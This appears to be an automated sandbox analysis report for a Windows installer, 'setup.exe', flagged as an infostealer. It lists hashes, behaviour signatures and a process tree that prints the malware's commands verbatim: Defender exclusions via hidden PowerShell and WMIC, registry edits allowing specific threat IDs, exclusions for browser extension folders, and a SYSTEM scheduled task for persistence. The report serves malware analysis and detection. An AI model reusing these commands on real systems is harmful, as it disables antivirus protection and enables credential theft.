Overview

overview

10

Static

static

3

setup.exe

windows7-x64

10

setup.exe

windows10-2004-x64

8

setup.exe

windows11-21h2-x64

8

Analysis

  • max time kernel
    162s
  • max time network
    202s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240709-en
  • resource tags

    arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    11/07/2024, 12:22

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup.exe

  • Size

    7.2MB

  • MD5

    36c4fd4f39590016d3e0203cb2e5b259

  • SHA1

    04785afcc6c37f7222545922ea86fbe8dfc577b4

  • SHA256

    89087589cb57d8578d11aade3a2debde6d40dbaafa03a19e3031f8695b7af229

  • SHA512

    a311ce5fd30064557277cc4ae837079be4274b7b750e82d0686e6080e148d5448a7f4adf81fbc6060a786ac2c1d921c7f1fe286157ee3de2f78b77d334e4687a

  • SSDEEP

    196608:91OxEjbFNNM3/8tzfm+lmDw/rVg9m0VIgXujRk3m7QPtlFqzaq4:3OKfTW3/u7m4m4Gm0VIFjRcqQLmC

Score
8/10
discoveryexecutionspywarestealer

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4108
    • C:\Users\Admin\AppData\Local\Temp\7zSC15C.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4688
      • C:\Users\Admin\AppData\Local\Temp\7zSC4F6.tmp\Install.exe
        .\Install.exe /KPFedidMUzjO "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:3100
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2636
          • C:\Windows\SysWOW64\cmd.exe
            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:232
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2752
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:920
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /CREATE /TN "bALlruvYofmJPQNJwD" /SC once /ST 12:24:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSC4F6.tmp\Install.exe\" vs /obdidF 525403 /S" /V1 /F
          4⤵
          • Drops file in Windows directory
          • Scheduled Task/Job: Scheduled Task
          PID:3008
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3100 -s 840
          4⤵
          • Program crash
          PID:4624
  • C:\Users\Admin\AppData\Local\Temp\7zSC4F6.tmp\Install.exe
    C:\Users\Admin\AppData\Local\Temp\7zSC4F6.tmp\Install.exe vs /obdidF 525403 /S
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3540
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1312
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2928
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:4636
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:4176
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:1908
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:1564
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:3700
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:2648
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:912
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:5012
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:3828
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:1148
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:1112
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:420
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:772
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:952
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:2988
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:2012
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:2188
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:2780
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3552
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:1764
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2464
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:3492
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4788
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:2828
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:1980
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:1636
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:1984
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:1316
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QpnUqXWFmruU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QpnUqXWFmruU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SidCHKGbYcMDDDuYdmR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SidCHKGbYcMDDDuYdmR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VnrNfMnaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VnrNfMnaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lACTBWioyPWQC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lACTBWioyPWQC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uCtsauOVmVUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uCtsauOVmVUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VZeSGboONoWVfrVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VZeSGboONoWVfrVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MCcLhhxDLwOXyXTyI\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MCcLhhxDLwOXyXTyI\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dCAlmLzndqCLbGFv\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dCAlmLzndqCLbGFv\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3876
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpnUqXWFmruU2" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:1464
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpnUqXWFmruU2" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:1432
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpnUqXWFmruU2" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:3848
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SidCHKGbYcMDDDuYdmR" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:2948
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SidCHKGbYcMDDDuYdmR" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:868
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnrNfMnaU" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:3796
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnrNfMnaU" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:3280
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lACTBWioyPWQC" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:3108
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lACTBWioyPWQC" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:1264
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uCtsauOVmVUn" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:3536
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uCtsauOVmVUn" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:4592
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VZeSGboONoWVfrVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:4100
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VZeSGboONoWVfrVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4356
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:3128
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:4252
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:2692
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:3684
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MCcLhhxDLwOXyXTyI /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:1428
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MCcLhhxDLwOXyXTyI /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:5052
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dCAlmLzndqCLbGFv /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4880
                                                                                                      • C:\Windows\SysWOW64\reg.exe
